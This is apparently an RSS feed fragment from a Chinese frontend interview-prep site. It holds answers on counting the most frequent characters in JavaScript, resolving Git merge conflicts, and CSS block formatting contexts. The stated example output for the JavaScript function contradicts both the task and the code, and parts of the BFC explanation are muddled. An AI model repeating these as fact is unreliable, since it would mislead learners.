&lt;p&gt;编写一个函数，接收一个字符串作为输入，统计并返回出现次数最多的字符及其出现的次数。如果有多个字符出现次数相同且最多，则返回所有这些字符及其出现次数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输入输出要求：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;输入：一个字符串（只包含字母和数字）。&lt;/li&gt;
&lt;li&gt;输出：一个对象，包含出现次数最多的字符及其出现次数。
示例：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;aabbccddde&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mostFrequentChar&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 输出：{ a: 2, b: 2, c: 2, d: 3, e: 1 }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;时间复杂度：O(n)，需要遍历字符串两次&lt;/li&gt;
&lt;li&gt;空间复杂度：O(k)，k为不同字符的数量&lt;/li&gt;
&lt;li&gt;关键点：正确理解题意，返回所有出现次数最多的字符&lt;/li&gt;
&lt;li&gt;优化：可以在统计过程中同时记录最大值，减少遍历次数&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这道题需要统计字符串中每个字符的出现次数，然后找出出现次数最多的字符。需要注意的是，题目要求如果有多个字符出现次数相同且最多，要返回所有这些字符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题思路：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;遍历字符串，使用Map或对象统计每个字符的出现次数&lt;/li&gt;
&lt;li&gt;找出最大出现次数&lt;/li&gt;
&lt;li&gt;筛选出所有达到最大出现次数的字符&lt;/li&gt;
&lt;li&gt;返回结果对象&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;代码实现：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mostFrequentChar&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 边界情况处理
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 统计每个字符的出现次数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;[&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;[&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;] &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 找出最大出现次数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxCount&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;max&lt;/span&gt;(...Object.&lt;span style="color:#a6e22e"&gt;values&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 筛选出所有达到最大出现次数的字符
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;entries&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxCount&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;[&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 优化版本：使用Map，一次遍历完成
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mostFrequentCharOptimized&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Map&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxCount&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 统计字符出现次数，同时记录最大值
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;) &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;maxCount&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;max&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;maxCount&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 构建结果对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charCount&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxCount&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;[&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;测试用例：&lt;/p&gt;</description></item><item><title>美团-酒旅-前端面经 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-43/round-57/</link><pubDate>Thu, 17 Jul 2025 08:18:40 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-43/round-57/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-43/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 13 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-6722e7a3eb1d"&gt;1. 简历提到你熟悉Git，请问如何处理代码合并时的冲突？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;面试官出这道题主要想确认哪些知识维度？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Git基础操作&lt;/strong&gt;：考察候选人对Git版本控制工具的熟悉程度，尤其是合并（merge）和解决冲突（conflict resolution）等核心操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;问题解决能力&lt;/strong&gt;：在实际开发中遇到代码冲突时，候选人如何分析问题、定位冲突并有效解决。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协作开发经验&lt;/strong&gt;：在团队协作中，如何避免冲突，以及在发生冲突后如何与其他团队成员协作解决。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;该题所考知识点中有哪些高频实际应用点？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;日常代码合并&lt;/strong&gt;：开发者在日常工作中频繁进行分支合并，冲突处理是不可避免的环节。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;版本回溯与管理&lt;/strong&gt;：理解冲突解决机制有助于更好地进行版本管理和历史回溯。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;团队协作效率&lt;/strong&gt;：高效解决冲突能够提高团队的开发效率和代码质量。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h4 id="11-原理说明"&gt;1.1 原理说明&lt;/h4&gt;
&lt;p&gt;Git冲突是指在合并（merge）或变基（rebase）分支时，不同分支对同一个文件的相同部分进行了修改，或者一个分支修改了文件而另一个分支删除了该文件，导致Git无法自动判断保留哪个修改时发生的情况。Git会暂停合并操作，并将冲突部分标记出来，等待用户手动解决。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;冲突的产生：&lt;/strong&gt;
当两个或多个开发者对同一个文件的同一行或同一区域进行修改，并将各自的修改推送到远程仓库，在合并这些修改时，Git会提示冲突。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;冲突的类型：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内容冲突&lt;/strong&gt;：最常见，发生在同一个文件的相同行或相邻行被不同分支修改。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件冲突&lt;/strong&gt;：一个分支修改了文件，另一个分支删除了该文件；或者两个分支都创建了同名文件但内容不同。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h4&gt;
&lt;p&gt;处理Git合并冲突的主要步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;更新本地仓库&lt;/strong&gt;：在进行合并操作前，通常需要先拉取远程最新代码，确保本地分支是最新的，减少潜在冲突。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git pull origin &amp;lt;your-branch&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行合并操作&lt;/strong&gt;：当你尝试将一个分支合并到另一个分支时，如果存在冲突，Git会提示并停止合并。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git merge &amp;lt;other-branch&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者使用rebase：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git rebase &amp;lt;other-branch&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;识别冲突标记&lt;/strong&gt;：Git会在冲突文件中插入特殊标记，通常是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;amp;lt; HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 当前分支的修改
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;=======
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 待合并分支的修改
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; &amp;lt;commit-id-or-branch-name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;amp;lt; HEAD&lt;/code&gt;：表示当前分支（HEAD指向）的代码。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;=======&lt;/code&gt;：分隔符，表示冲突的开始和结束。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; &amp;lt;commit-id-or-branch-name&amp;gt;&lt;/code&gt;：表示待合并分支的代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;手动解决冲突&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;编辑冲突文件&lt;/strong&gt;：根据业务需求，手动修改冲突文件，决定保留哪些代码，删除哪些代码。你可以选择保留其中一个分支的修改，或者结合两者的修改，甚至编写全新的代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;删除冲突标记&lt;/strong&gt;：在解决冲突后，务必删除&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/code&gt;、&lt;code&gt;=======&lt;/code&gt;和&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;这些Git自动添加的标记。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;将解决后的文件标记为已解决&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git add &amp;lt;conflicted-file-name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提交合并结果&lt;/strong&gt;：在所有冲突文件都标记为已解决后，提交合并。&lt;/p&gt;</description></item><item><title>百度-地图-秋招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-55/</link><pubDate>Thu, 10 Jul 2025 14:52:42 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-55/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-59/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 基础知识面不少，进一步考察实际工程和性能优化能力&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-e78ee3f21e11"&gt;1. BFC的作用及触发条件，使用场景讲一下&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CSS 样式中 BFC 的概念、特性和触发条件&lt;/li&gt;
&lt;li&gt;BFC 应用场景：避免多列排版间隔折行问题、清除浮动、各区域形成隔离&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;BFC (Block Formatting Context)&lt;/strong&gt;，即块级格式化上下文。它是 W3C CSS2.1 中的一类属性，是一个独立的布局环境，在该环境里，按照特定规则进行元素排列和布局。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要特性：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BFC 内部的元素不会和外部的元素受 margin 折行的影响&lt;/li&gt;
&lt;li&gt;BFC 可以包裹内部浮动元素，解决父容器高度不拉伸问题&lt;/li&gt;
&lt;li&gt;BFC 不会被浮动元素拉动&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;触发 BFC 的条件：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;样式中定义此元素为 float (non-none)&lt;/li&gt;
&lt;li&gt;正文模型 overflow 为 hidden, scroll, auto&lt;/li&gt;
&lt;li&gt;display 为 inline-block, table-cell, flex, grid, flow-root&lt;/li&gt;
&lt;li&gt;position 为 absolute 或 fixed&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;场景1：清除浮动&lt;/strong&gt; 常用 BFC 包裹元素，使父元素的高度得以支撑&lt;/p&gt;</description></item><item><title>360集团-24年-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-40/round-53/</link><pubDate>Wed, 09 Jul 2025 08:05:48 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-40/round-53/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-40/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的前端基础内容和项目经验。&lt;/p&gt;
&lt;p&gt;本轮共 20 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-8af01cadfebb"&gt;1. 前端学习路径&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;本题为主观题，没有标准答案，主要考察候选人的学习能力、知识体系构建能力以及持续学习的动力。&lt;/li&gt;
&lt;li&gt;面试官希望了解候选人获取新知识、解决问题的途径和习惯，以及对前端知识的理解是否系统、全面。&lt;/li&gt;
